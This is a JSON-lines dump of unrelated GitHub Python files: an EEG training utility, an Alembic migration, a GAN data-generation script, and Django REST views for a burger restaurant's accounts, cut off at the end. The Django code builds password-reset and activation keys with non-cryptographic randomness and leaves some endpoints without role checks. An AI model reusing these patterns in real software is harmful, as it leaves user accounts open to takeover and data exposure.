tr.from_numpy(temp2).cuda()\n initc.append(temp1)\n all_feas.append(temp2)\n netF_list[i].train()\n\n iter_num += 1\n lr_scheduler(optimizer, iter_num=iter_num, max_iter=max_iter)\n\n ###################################################################################\n # output, domain weight, weighted output\n if args.use_weight:\n weights_all = tr.ones(inputs_target.shape[0], len(args.src))\n tmp_output = tr.zeros(len(args.src), inputs_target.shape[0], args.class_num)\n for i in range(len(args.src)):\n tmp_output[i] = netC_list[i](netF_list[i](inputs_target))\n weights_all[:, i] = netG_list[i](tmp_output[i]).squeeze()\n z = tr.sum(weights_all, dim=1) + 1e-16\n weights_all = tr.transpose(tr.transpose(weights_all, 0, 1) / z, 0, 1)\n weights_domain = tr.sum(weights_all, dim=0) / tr.sum(weights_all)\n domain_weight = weights_domain.reshape([1, num_src, 1]).cuda()\n else:\n domain_weight = tr.Tensor([1 / num_src] * num_src).reshape([1, num_src, 1]).cuda()\n weights_domain = np.round(tr.squeeze(domain_weight, 0).t().flatten().cpu().detach(), 3)\n # print(type(domain_weight), type(weights_domain)) # [1, 3, 1], [3]\n\n outputs_all = tr.cat([netC_list[i](netF_list[i](inputs_target)).unsqueeze(1) for i in range(num_src)], 1).cuda()\n preds = tr.softmax(outputs_all, dim=2)\n outputs_all_w = (preds * domain_weight).sum(dim=1).cuda()\n # print(outputs_all.shape, preds.shape, domain_weight.shape, outputs_all_w.shape)\n # [4, 8, 4], [4, 8, 4], [1, 8, 1], [4, 4]\n ###################################################################################\n\n # self pseudo label loss\n if args.cls_par > 0:\n initc_ = tr.zeros(initc[0].size()).cuda()\n temp = all_feas[0]\n all_feas_ = tr.zeros(temp[tar_idx, :].size()).cuda()\n for i in range(num_src):\n initc_ = initc_ + weights_domain[i] * initc[i].float()\n src_fea = all_feas[i]\n all_feas_ = all_feas_ + weights_domain[i] * src_fea[tar_idx, :]\n dd = tr.cdist(all_feas_.float(), initc_.float(), p=2)\n pred_label = dd.argmin(dim=1)\n pred = pred_label.int().long()\n clf_loss = nn.CrossEntropyLoss()(outputs_all_w, pred)\n else:\n clf_loss = tr.tensor(0.0).cuda()\n\n # raw decision\n im_loss = info_loss(outputs_all_w, args.epsilon)\n loss_all = args.cls_par * clf_loss + args.ent_par * im_loss\n\n optimizer.zero_grad()\n loss_all.backward()\n optimizer.step()\n\n\ndef update_shot_ens(dset_loaders, netF, netC, optimizer, info_loss, args):\n # 分别对每个源模型和Xt训练,获得迁移之后的模型,然后集成\n max_iter = len(dset_loaders[\"target\"])\n\n iter_num = 0\n while iter_num < max_iter:\n iter_target = iter(dset_loaders[\"target\"])\n inputs_target, _, tar_idx = iter_target.next()\n if inputs_target.size(0) == 1:\n continue\n inputs_target = inputs_target.cuda()\n\n # 每10个epoch才进行一次pseudo labels增强\n interval_iter = 10\n if iter_num % interval_iter == 0 and args.cls_par > 0:\n netF.eval()\n mem_label, dd = obtain_label_shot(dset_loaders['Target'], netF, netC)\n mem_label = tr.from_numpy(mem_label).cuda()\n netF.train()\n\n iter_num += 1\n lr_scheduler(optimizer, iter_num=iter_num, max_iter=max_iter)\n\n feas_target = netF(inputs_target.cuda())\n outputs_target = netC(feas_target)\n\n # 构建 shot loss\n if args.cls_par > 0: # 控制需不需要加自监督loss,默认0.3\n pred = mem_label[tar_idx].long()\n clf_loss = nn.CrossEntropyLoss()(outputs_target, pred)\n else:\n clf_loss = tr.tensor(0.0).cuda()\n\n # IM loss on the weighted output\n im_loss = info_loss(outputs_target, args.epsilon)\n loss_all = args.cls_par * clf_loss + args.ent_par * im_loss\n\n optimizer.zero_grad()\n loss_all.backward()\n optimizer.step()\n\n\ndef knowledge_vote(preds_softmax, confidence_gate, num_classes):\n max_p, max_p_class = preds_softmax.max(2)\n max_conf, _ = max_p.max(1)\n max_p_mask = (max_p > confidence_gate).float().cuda()\n preds_vote = tr.zeros(preds_softmax.size(0), preds_softmax.size(2)).cuda()\n for batch_idx, (p, p_class, p_mask) in enumerate(zip(max_p, max_p_class, max_p_mask)):\n if tr.sum(p_mask) > 0:\n p = p * p_mask\n for source_idx, source_class in enumerate(p_class):\n preds_vote[batch_idx, source_class] += p[source_idx]\n _, preds_vote = preds_vote.max(1)\n preds_vote = tr.zeros(preds_vote.size(0), num_classes).cuda().scatter_(1, preds_vote.view(-1, 1), 1)\n\n return preds_vote\n\n","repo_name":"sylyoung/MetaEEG","sub_path":"utils/func_utils.py","file_name":"func_utils.py","file_ext":"py","file_size_in_byte":10078,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"} +{"seq_id":"1711639577","text":"\"\"\"followers\n\nRevision ID: 500d744d2668\nRevises: 8388415d2247\nCreate Date: 2021-11-27 18:28:12.433414\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '500d744d2668'\ndown_revision = '8388415d2247'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('followers',\n sa.Column('follower_id', sa.Integer(), nullable=True),\n sa.Column('followed_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['followed_id'], ['users.id'], ),\n sa.ForeignKeyConstraint(['follower_id'], ['users.id'], )\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('followers')\n # ### end Alembic commands ###\n","repo_name":"miguelgrinberg/microblog-api","sub_path":"migrations/versions/500d744d2668_followers.py","file_name":"500d744d2668_followers.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":333,"dataset":"github-code","pt":"3"} +{"seq_id":"10261234381","text":"import os, sys\nsys.path.append(os.getcwd())\nimport random\nrandom.seed(1)\nimport numpy as np\nimport pandas as pd\nimport torch\nimport torch.autograd as autograd\nimport torch.nn as nn\nimport torch.optim as optim\ntorch.manual_seed(1)\nfrom sklearn.model_selection import LeaveOneOut\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.metrics import accuracy_score\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\ndef obtainfeatures(data,file_path1,strs):\n host_features=[]\n for i in data:\n host_features.append(np.loadtxt(file_path1+i+strs).tolist())\n return np.array(host_features)\n\nclass Generator(nn.Module):\n \n def __init__(self,shape1):\n super(Generator, self).__init__()\n\n main = nn.Sequential(\n nn.Linear(shape1, 128),\n nn.ReLU(True),\n nn.Linear(128, 256),\n nn.ReLU(True),\n nn.Linear(256, 512),\n nn.ReLU(True),\n nn.Linear(512, 1024),\n nn.Tanh(),\n nn.Linear(1024, shape1),\n )\n self.main = main\n\n def forward(self, noise, real_data):\n if FIXED_GENERATOR:\n return noise + real_data\n else:\n output = self.main(noise)\n return output\n\nclass Discriminator(nn.Module):\n\n def __init__(self,shape1):\n super(Discriminator, self).__init__()\n\n self.fc1=nn.Linear(shape1, 512)\n self.relu=nn.LeakyReLU(0.2)\n self.fc2=nn.Linear(512, 256)\n self.relu=nn.LeakyReLU(0.2)\n self.fc3 = nn.Linear(256, 128)\n self.relu = nn.LeakyReLU(0.2)\n self.fc4 = nn.Linear(128, 1)\n\n def forward(self, inputs):\n out=self.fc1(inputs)\n out=self.relu(out)\n out=self.fc2(out)\n out=self.relu(out)\n out=self.fc3(out)\n out=self.relu(out)\n out=self.fc4(out)\n return out.view(-1)\n\ndef weights_init(m):\n classname = m.__class__.__name__\n if classname.find('Linear') != -1:\n m.weight.data.normal_(0.0, 0.02)\n m.bias.data.fill_(0)\n elif classname.find('BatchNorm') != -1:\n m.weight.data.normal_(1.0, 0.02)\n m.bias.data.fill_(0)\n\ndef inf_train_gen(datas):\n with open(\"../result/result_GAN/\"+datas+\".txt\") as f:\n MatrixFeaturesPositive = [list(x.split(\" \")) for x in f]\n FeaturesPositive = [line[:] for line in MatrixFeaturesPositive[:]]\n dataset2 = np.array(FeaturesPositive, dtype='float32')\n return dataset2\n \ndef calc_gradient_penalty(netD, real_data, fake_data):\n alpha = torch.rand(BATCH_SIZE, 1)\n alpha = alpha.expand(real_data.size())\n alpha = alpha.cuda() if use_cuda else alpha\n interpolates = alpha * real_data + ((1 - alpha) * fake_data)\n if use_cuda:\n interpolates = interpolates.cuda()\n interpolates = autograd.Variable(interpolates, requires_grad=True)\n disc_interpolates = netD(interpolates) \n gradients = autograd.grad(outputs=disc_interpolates, inputs=interpolates,\n grad_outputs=torch.ones(disc_interpolates.size()).cuda() if use_cuda else torch.ones(\n disc_interpolates.size()),create_graph=True, retain_graph=True, only_inputs=True)[0]\n gradient_penalty = ((gradients.norm(2, dim=1) - 1) ** 2).mean() * LAMBDA\n return gradient_penalty\n\ndata=pd.read_csv('../data/data_pos_neg.txt',header=None,sep=',')\ndata=data[data[2]==1].values.tolist()\nphage=[i[0] for i in data]\nhost=[i[1] for i in data]\nphage_feature_pro=obtainfeatures(phage,'../data/phage_protein_normfeatures/','.txt')\nphage_feature_dna=obtainfeatures(phage,'../data/phage_dna_norm_features/','.txt')\nhost_feature_pro=obtainfeatures(host,'../data/host_protein_normfeatures/','.txt')\nhost_feature_dna=obtainfeatures(host,'../data/host_dna_norm_features/','.txt')\nphage_all=np.concatenate((phage_feature_dna, phage_feature_pro),axis=1)\nhost_all=np.concatenate((host_feature_dna, host_feature_pro),axis=1)\n###save features of real positive samples\nnp.savetxt('../result/result_GAN/data_GAN.txt',np.concatenate((phage_all, host_all),axis=1))\ndata = inf_train_gen('data_GAN')\nFIXED_GENERATOR = False \nLAMBDA = .1 \nCRITIC_ITERS = 5 \nBATCH_SIZE = len(data)\nITERS = 100000\nuse_cuda = False\nnetG = Generator(data.shape[1])\nnetD = Discriminator(data.shape[1])\nnetD.apply(weights_init)\nnetG.apply(weights_init)\nif use_cuda:\n netD = netD.cuda()\n netG = netG.cuda()\noptimizerD = optim.Adam(netD.parameters(), lr=1e-4, betas=(0.5, 0.9))\noptimizerG = optim.Adam(netG.parameters(), lr=1e-4, betas=(0.5, 0.9))\none = torch.tensor(1, dtype=torch.float) ###torch.FloatTensor([1])\nmone = one * -1\nif use_cuda:\n one = one.cuda()\n mone = mone.cuda()\n###iteration process\nfor iteration in range(ITERS):\n for p in netD.parameters(): \n p.requires_grad = True \n data = inf_train_gen('data_GAN')\n real_data = torch.FloatTensor(data)\n if use_cuda:\n real_data = real_data.cuda()\n real_data_v = autograd.Variable(real_data)\n noise = torch.randn(BATCH_SIZE, data.shape[1])\n if use_cuda:\n noise = noise.cuda()\n noisev = autograd.Variable(noise, volatile=True) \n fake = autograd.Variable(netG(noisev, real_data_v).data)\n fake_output=fake.data.cpu().numpy()\n for iter_d in range(CRITIC_ITERS):\n netD.zero_grad()\n D_real = netD(real_data_v)\n D_real = D_real.mean()\n D_real.backward(mone)\n noise = torch.randn(BATCH_SIZE, data.shape[1])\n if use_cuda:\n noise = noise.cuda()\n noisev = autograd.Variable(noise, volatile=True) \n fake = autograd.Variable(netG(noisev, real_data_v).data) \n inputv = fake\n D_fake = netD(inputv)\n D_fake = D_fake.mean()\n D_fake.backward(one)\n gradient_penalty = calc_gradient_penalty(netD, real_data_v.data, fake.data)\n gradient_penalty.backward()\n D_cost = D_fake - D_real + gradient_penalty\n Wasserstein_D = D_real - D_fake\n optimizerD.step()\n ###save generated sample features every 200 iteration\n if iteration%200 == 0:\n fake_writer = open(\"../result/result_GAN/Iteration_\"+str(iteration)+\".txt\",\"w\")\n for rowIndex in range(len(fake_output)):\n for columnIndex in range(len(fake_output[0])):\n fake_writer.write(str(fake_output[rowIndex][columnIndex]) + \",\")\n fake_writer.write(\"\\n\")\n fake_writer.flush()\n fake_writer.close()\n if not FIXED_GENERATOR:\n for p in netD.parameters():\n p.requires_grad = False\n netG.zero_grad()\n real_data = torch.Tensor(data)\n if use_cuda:\n real_data = real_data.cuda()\n real_data_v = autograd.Variable(real_data)\n noise = torch.randn(BATCH_SIZE, data.shape[1])\n if use_cuda:\n noise = noise.cuda()\n noisev = autograd.Variable(noise)\n fake = netG(noisev, real_data_v)\n G = netD(fake)\n G = G.mean()\n G.backward(mone)\n G_cost = -G\n optimizerG.step()\n\n####test model result, LOOCV to select optimal pseudo samples\nwith open(\"../result/result_GAN/data_GAN.txt\") as f:\n MatrixFeatures = [list(x.split(\" \")) for x in f]\nrealFeatures = [line[:] for line in MatrixFeatures[:]]\nrealDataset = np.array(realFeatures, dtype='float32')\n# Adding equal numbers of binary labels\nlabel=[]\nfor rowIndex in range(len(realDataset)):\n label.append(1)\nfor rowIndex in range(len(realDataset)):\n label.append(0)\nlabelArray=np.asarray(label)\nopt_diff_accuracy_05=0.5\nopt_Epoch=0\nopt_accuracy=0\nallresult=[]\nfor indexEpoch in range(500):\n epoch = indexEpoch * 200\n with open(\"../result/result_GAN/Iteration_\"+str(epoch)+\".txt\") as f:\n MatrixFeatures = [list(x.split(\",\")) for x in f]\n fakeFeatures = [line[:-1] for line in MatrixFeatures[:]]\n fakedataset = np.array(fakeFeatures, dtype='float32')\n realFakeFeatures=np.vstack((realDataset, fakedataset))\n\n prediction_list=[]\n real_list=[]\n ####LOOCV\n loo = LeaveOneOut()\n loo.get_n_splits(realFakeFeatures)\n for train_index, test_index in loo.split(realFakeFeatures):\n X_train, X_test = realFakeFeatures[train_index], realFakeFeatures[test_index]\n y_train, y_test = labelArray[train_index], labelArray[test_index]\n knn = KNeighborsClassifier(n_neighbors=1).fit(X_train, y_train)\n predicted_y = knn.predict(X_test)\n prediction_list.append(predicted_y)\n real_list.append(y_test)\n accuracy=accuracy_score(real_list, prediction_list)\n allresult.append(str(indexEpoch)+\"%\"+str(accuracy))\n diff_accuracy_05=abs(accuracy-0.5)\n if diff_accuracy_05 < opt_diff_accuracy_05:\n opt_diff_accuracy_05=diff_accuracy_05\n opt_Epoch=epoch\n opt_accuracy=accuracy\nprint(str(opt_Epoch)+\"%\"+str(opt_accuracy))\n\n","repo_name":"mengluli-web/PHIAF","sub_path":"code/generate_data.py","file_name":"generate_data.py","file_ext":"py","file_size_in_byte":8788,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"1516835244","text":"from .models import User, Restaurant, UserAddress, PasswordResetCode, ActivateUserCode, MetaTagSettings,AnnouncementSettings,LoginAndSignupSidePics, LogoSettings, BasicSettings, TopImagesSettings\nfrom rest_framework import viewsets, permissions, status\nfrom rest_framework.response import Response\nfrom .serializer import LoginSerializier,ActivateCodeSerializer,BasicSettingsSerializer,MetaTagsSettingsSerializer,LogoSettingsSerializer,LoginAndSignupSidePicsSerializer,TopImagesSettingsSerializer,AnnouncementSettingsSerializer,ChangePasswordSerializier,ChangePasswordSerializier,UpdateAccountSerializer, RegisterSerailizer,UserNameSerializer,StaffUserSerializer,EmailSerializer, RestaurantSerializer, UserAddressSerializer,UserSerializer\nfrom django.contrib.auth import login#authenticate\nfrom django.db.models import Q\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.template.loader import get_template,render_to_string\nfrom django.template import Context\n\n\nfrom Order.models import EmailAddress,PhoneNumber\nfrom django_filters.filters import OrderingFilter\nfrom django_filters import rest_framework as filters\nfrom . import token\nimport django_filters\nfrom rest_framework.decorators import api_view, authentication_classes, permission_classes\nfrom django.core.mail import send_mail\nimport string \nfrom django.db.models import Q\nfrom .authenticate import authenticate\nimport random\ndef id_generator(size=32, chars=string.ascii_uppercase + string.digits):\n return ''.join(random.choice(chars) for _ in range(size))\n\n\ndef send_email_to_user(subject , to, html_content, txtmes):\n #try:\n \n send_mail(\n subject,\n txtmes,\n 'noreply@celavieburger.com',\n [to],\n fail_silently=False,\n html_message=html_content\n )\n\nclass LoginViewSet(viewsets.ViewSet):\n permission_classes = [permissions.AllowAny]\n authentication_classes = []\n \n def signin(self, request):\n try:\n\n serializer = LoginSerializier(data=request.data)\n if serializer.is_valid():\n username, password = serializer.data.get('username'), serializer.data.get('password')\n \n user = authenticate(username=username , password=password)\n \n if user is not None:\n if not user.is_superuser and (not user.is_active):\n return Response({\n 'detail':'Account has been suspended. Contact the System Administrator.'\n }, status=status.HTTP_401_UNAUTHORIZED)\n login(request, user)\n ret = token.generateToken(user)\n return Response(ret, status=status.HTTP_200_OK)\n else:\n return Response({\n 'detail':'Phone No and/or password incorrect'\n }, status=status.HTTP_400_BAD_REQUEST) \n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\nclass AdminLoginViewSet(viewsets.ViewSet):\n permission_classes = [permissions.AllowAny]\n authentication_classes = []\n \n def signin(self, request):\n try:\n serializer = LoginSerializier(data=request.data)\n if serializer.is_valid():\n username, password = serializer.data.get('username'), serializer.data.get('password')\n user = authenticate(username=username, password=password) \n if user is not None and user.is_staff:\n if not user.is_superuser and (not user.is_active): \n return Response({\n 'detail':'Account has been suspended. Contact the System Administrator.'\n }, status=status.HTTP_401_UNAUTHORIZED)\n login(request, user)\n ret = token.generateToken(user)\n return Response(ret, status=status.HTTP_200_OK)\n else:\n return Response({\n 'detail':'Username and/or password incorrect'\n }, status=status.HTTP_400_BAD_REQUEST)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\nclass UserViewSet(viewsets.ViewSet):\n def changePassword(self, request):\n try:\n serializer = ChangePasswordSerializier(data=request.data)\n if serializer.is_valid():\n user = request.user\n if user.check_password(serializer.data.get('oldPassword')):\n user.set_password(serializer.data.get('newPassword'))\n user.firstLogin = False\n user.save()\n return Response(status=status.HTTP_200_OK)\n return Response(status=status.HTTP_400_BAD_REQUEST)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n\n\n@api_view(['POST',])\ndef create_restaurant(request):\n try:\n if request.user.is_supervisor:\n restaurant_ser = RestaurantSerializer(data=request.data)\n if restaurant_ser.is_valid():\n restaurant = restaurant_ser.save()\n return Response(status=status.HTTP_200_OK)\n return Response(restaurant_ser.errors ,status=status.HTTP_400_BAD_REQUEST)\n return Response(status=status.HTTP_401_UNAUTHORIZED)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n \n@api_view(['GET',])\ndef get_resturant(request):\n try:\n resturant = Restaurant.objects.all()\n restaunrat_ser = RestaurantSerializer(resturant, many = True)\n return Response(restaunrat_ser.data ,status=status.HTTP_200_OK)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n\n \n@api_view(['GET',])\ndef get_user_address(request):\n try:\n address = UserAddress.objects.all()\n address_ser = UserAddressSerializer(address, many = True)\n return Response(address_ser.data ,status=status.HTTP_200_OK) \n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n \n@api_view(['POST',])\ndef create_user_address(request):\n try:\n if request.user.is_supervisor:\n address_ser = UserAddressSerializer(data=request.data)\n if address_ser.is_valid():\n restaurant = address_ser.save()\n return Response(status=status.HTTP_200_OK)\n return Response(address_ser.errors ,status=status.HTTP_400_BAD_REQUEST)\n return Response(status=status.HTTP_401_UNAUTHORIZED)\n \n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n\n\n@api_view(['GET',])\ndef get_all_user(request):\n try:\n if request.user.is_supervisor:\n user = User.objects.filter(is_staff= False)\n user_ser = UserSerializer(user, many = True)\n return Response(user_ser.data, status=status.HTTP_200_OK)\n return Response(status=status.HTTP_401_UNAUTHORIZED)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n\nclass AllUserFilter(filters.FilterSet):\n q = django_filters.CharFilter(method='my_custom_filter')\n order_by_field = 'ordering'\n ordering = OrderingFilter(\n fields=(\n ('id','position'),)\n )\n\n \n class Meta:\n model = User\n fields = ['q']\n def my_custom_filter(self, queryset, name, value):\n return User.objects.filter(Q(firstName__icontains=value) | Q(middleName__icontains=value) | Q(lastName__icontains=value) | Q(company_name__icontains=value) \n | Q(phone_no__icontains=value) | Q(tin_no__icontains=value) \n )\n\nclass AllUsersViewSets(viewsets.ModelViewSet):\n #automatically contains list, create reterive, update, partial_update, destroy \n queryset = User.objects.all()\n serializer_class = UserSerializer\n #filter_backends = (filters.DjangoFilterBackend,)\n #filterset_fields = ('driver_name', 'driver_no','customer_name','contrat_no','car__plateNumber')\n #filterset_class = AllUserFilter\n\n@api_view(['GET',])\ndef get_all_sfaff(request):\n try:\n if request.user.is_supervisor:\n user = User.objects.filter(is_staff= True)\n user_ser = UserSerializer(user, many = True)\n return Response(user_ser.data, status=status.HTTP_200_OK)\n return Response(status=status.HTTP_401_UNAUTHORIZED)\n\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n\n\n@api_view(['GET',])\ndef get_specific_user_address(request, id):\n try:\n address = UserAddress.objects.filter(user_name_id = id)\n address_ser = UserAddressSerializer(address, many = True)\n return Response(address_ser.data ,status=status.HTTP_200_OK)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n\n@api_view(['GET',])\ndef get_my_address(request):\n try:\n address = UserAddress.objects.filter(user_name = request.user)\n address_ser = UserAddressSerializer(address, many = True)\n return Response(address_ser.data ,status=status.HTTP_200_OK)\n\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n@api_view(['POST'])\n@authentication_classes([])\n@permission_classes([])\ndef create_auth(request):\n #try:\n serialized = RegisterSerailizer(data=request.data)\n if serialized.is_valid():\n if serialized.validated_data['repeat_password'] != serialized.validated_data['password']:\n return Response(\"password don't match\",status=status.HTTP_400_BAD_REQUEST)\n users = User.objects.filter(username = serialized.validated_data['username'])\n if len(users) > 0:\n return Response(\"username exists\",status=status.HTTP_400_BAD_REQUEST)\n user_email = serialized.validated_data['email']\n\n user_with_email = User.objects.filter(email = user_email )\n if len(user_with_email) > 0:\n return Response(\"email exists\",status=status.HTTP_400_BAD_REQUEST)\n user = User.objects.create_user(\n serialized.validated_data['username'],\n user_email, \n serialized.validated_data['password'],\n )\n user.first_name = serialized.validated_data['first_name']\n user.last_name = serialized.validated_data['last_name']\n user.phoneNo = serialized.validated_data['phone_no']\n # print(serialized.validated_data['phone_no'])\n user.is_active = False\n user.save()\n activate_code = generateActivateUserLink(request)\n my_context = {'id':activate_code.key , 'username': activate_code.user.username}\n html_content = render_to_string('activation_email.html', my_context)\n txtmes = render_to_string('activation_email.html', my_context )\n send_email_to_user(\"Celavie Burger User Account Activation Email\", user_email, html_content, txtmes)\n search_mail = EmailAddress.objects.filter(email_address = user_email)\n if len(search_mail) <= 0:\n email = EmailAddress(email_address = user_email,)\n email.save()\n search_phone = PhoneNumber.objects.filter(phoneNo = serialized.validated_data['phone_no'])\n if len(search_phone) <= 0:\n phone = PhoneNumber(phoneNo = serialized.validated_data['phone_no'] )\n phone.save()\n user_ser = UserSerializer(user)\n return Response(user_ser.data, status=status.HTTP_201_CREATED)\n else:\n return Response(serialized._errors, status=status.HTTP_400_BAD_REQUEST)\n #except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n@api_view(['POST'])\n@authentication_classes([])\n@permission_classes([])\ndef email_taken(request):\n try:\n serialized = EmailSerializer(data=request.data)\n if serialized.is_valid():\n users = User.objects.filter(email = serialized.validated_data['email'])\n if len(users) > 0:\n return Response(\"email exists\",status=status.HTTP_400_BAD_REQUEST)\n return Response(status=status.HTTP_200_OK)\n return Response(serialized._errors, status=status.HTTP_400_BAD_REQUEST)\n\n except Exception:\n return Response(status=status.HTTP_400_BAD_REQUEST)\n\n\n\n@api_view(['POST'])\n@authentication_classes([])\n@permission_classes([])\ndef username_taken(request):\n try:\n serialized = UserNameSerializer(data=request.data)\n if serialized.is_valid():\n users = User.objects.filter(username = serialized.validated_data['username'])\n if len(users) > 0:\n return Response(\"username exists\",status=status.HTTP_400_BAD_REQUEST)\n return Response(status=status.HTTP_200_OK)\n return Response(serialized._errors, status=status.HTTP_400_BAD_REQUEST)\n\n except Exception:\n return Response(status =status.HTTP_400_BAD_REQUEST )\n\n@api_view(['POST',])\ndef create_staff_user(request):\n try:\n if not (request.user.is_supervisor):\n return Response(status=status.HTTP_403_FORBIDDEN)\n serializer = StaffUserSerializer(data=request.data)\n if serializer.is_valid():\n duties = serializer.validated_data['duty']\n is_transport = False\n is_supervisor = False\n is_sheff = False\n is_staff = False\n for duty in duties:\n if duty == 'supervisor':\n is_staff = True\n is_supervisor = True\n elif duty == 'transport':\n is_transport = True\n is_staff = True\n elif duty =='sheff':\n is_sheff = True\n is_staff = True\n else:\n pass\n #is_staff = False\n users = User.objects.filter(username = serializer.validated_data['userName'])\n if len(users) > 0:\n return Response(\"username exists\",status=status.HTTP_400_BAD_REQUEST)\n user_with_email = User.objects.filter(email = serializer.validated_data['email'])\n if len(user_with_email) > 0:\n return Response(\"email exists\",status=status.HTTP_400_BAD_REQUEST)\n user = User.objects.create_user(\n serializer.validated_data['userName'],\n serializer.validated_data['email'], \n serializer.validated_data['password'],\n )\n user.first_name = serializer.validated_data['firstName']\n user.last_name = serializer.validated_data['lastName']\n user.phoneNo = serializer.validated_data['phoneNo']\n user.is_supervisor = is_supervisor\n user.is_transport = is_transport\n user.is_transport = is_transport\n branch = Restaurant.objects.get(id = serializer.validated_data['branch'])\n user.restaurant = branch\n user.is_staff = is_staff\n user.is_sheff = is_sheff\n user.save() \n return Response(status=status.HTTP_200_OK)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n except Exception:\n return Response(status =status.HTTP_400_BAD_REQUEST )\n@api_view(['POST',])\ndef deactivate_user(request,id):\n try:\n if request.user.is_superuser:\n user = User.objects.get(id = id)\n user.is_active = False\n user.save()\n return Response(status=status.HTTP_200_OK)\n return Response(status=status.HTTP_401_UNAUTHORIZED)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n \n@api_view(['POST',])\ndef activate_user(request,id):\n try:\n if request.user.is_superuser:\n user = User.objects.get(id = id)\n user.is_active = True\n user.save()\n return Response(status=status.HTTP_200_OK)\n return Response(status=status.HTTP_401_UNAUTHORIZED)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n \n@api_view(['GET',])\ndef getMyInfo(request):\n try:\n user = request.user\n user_ser = UserSerializer(user, many = False)\n return Response(user_ser.data,status=status.HTTP_200_OK)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n \n@api_view(['POST',])\ndef updateAccountInfo(request):\n try:\n user = request.user\n update_ser = UpdateAccountSerializer(data = request.data) \n if update_ser.is_valid():\n user.first_name = update_ser.validated_data['firstName']\n user.last_name = update_ser.validated_data['lastName']\n user.phoneNo = update_ser.validated_data['phoneNo']\n user.save()\n user_ser = UserSerializer(user)\n return Response(user_ser.data,status=status.HTTP_200_OK)\n return Response(status=status.HTTP_400_BAD_REQUEST)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n\ndef generateActivateUserLink(request):\n try:\n email = request.data['email']\n user = User.objects.get(email = email)\n activate_code = ActivateUserCode(user = user , key = id_generator())\n activate_code.save()\n return activate_code\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n\n@api_view(['POST',])\n@authentication_classes([])\n@permission_classes([])\ndef generateForgetUserLink(request):\n try:\n email = request.data['email']\n user = User.objects.get(email = email)\n key = id_generator()\n reset_code = PasswordResetCode(user = user , key = key )\n my_context = {'id':key , 'username': user.username}\n html_content = render_to_string('forget_email.html', my_context)\n txtmes = render_to_string('forget_email.html', my_context )\n send_email_to_user(\"Celavie Burger User Account Forget Password\", email, html_content, txtmes)\n reset_code.save()\n return Response(status = status.HTTP_201_CREATED)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n\n\n@api_view(['GET',])\n@authentication_classes([])\n@permission_classes([]) \ndef activateuser(request, code):\n try:\n key = code\n activate_codes = ActivateUserCode.objects.filter(key = key)\n if len(activate_codes) > 0:\n activate_code = ActivateUserCode.objects.get(key = key)\n if activate_code.used == False:\n user = activate_code.user\n user.is_active = True\n user.save()\n activate_code.used = True\n activate_code.save()\n return Response(status = status.HTTP_200_OK)\n else:\n return Response(status = status.HTTP_401_UNAUTHORIZED)\n else: \n return Response(status = status.HTTP_404_NOT_FOUND)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n\n\n@api_view(['POST',])\n@authentication_classes([])\n@permission_classes([]) \ndef forgetPassword(request, code):\n try:\n key = code\n reset_codes = PasswordResetCode.objects.filter(key = key)\n if len(reset_codes) > 0:\n reset_code = PasswordResetCode.objects.get(key = key)\n if reset_code.used == False:\n user = reset_code.user\n new_password = request.data['new_password']\n user.set_password(new_password)\n user.is_active = True\n user.save()\n reset_code.used = True\n reset_code.save()\n return Response(status = status.HTTP_200_OK)\n else:\n return Response(status = status.HTTP_401_UNAUTHORIZED)\n else: \n return Response(status = status.HTTP_404_NOT_FOUND)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n\n@api_view(['POST'])\ndef createMetaTagsSettings(request):\n try:\n if MetaTagSettings.objects.exists():\n metaTags = MetaTagSettings.objects.all()\n metaSer = MetaTagsSettingsSerializer(data = request.data)\n if metaSer.is_valid():\n for metaTag in metaTags:\n metaTag.title = metaSer.validated_data['title']\n metaTag.desc = metaSer.validated_data['desc']\n metaTag.save()\n return Response(status = status.HTTP_200_OK)\n return Response(metaSer.errors,status = status.HTTP_400_BAD_REQUEST)\n else:\n metaSer = MetaTagsSettingsSerializer(data = request.data)\n if metaSer.is_valid():\n metaSer.save()\n return Response(status = status.HTTP_200_OK)\n return Response(metaSer.errors,status = status.HTTP_400_BAD_REQUEST)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n@api_view(['GET',])\n@authentication_classes([])\n@permission_classes([])\ndef 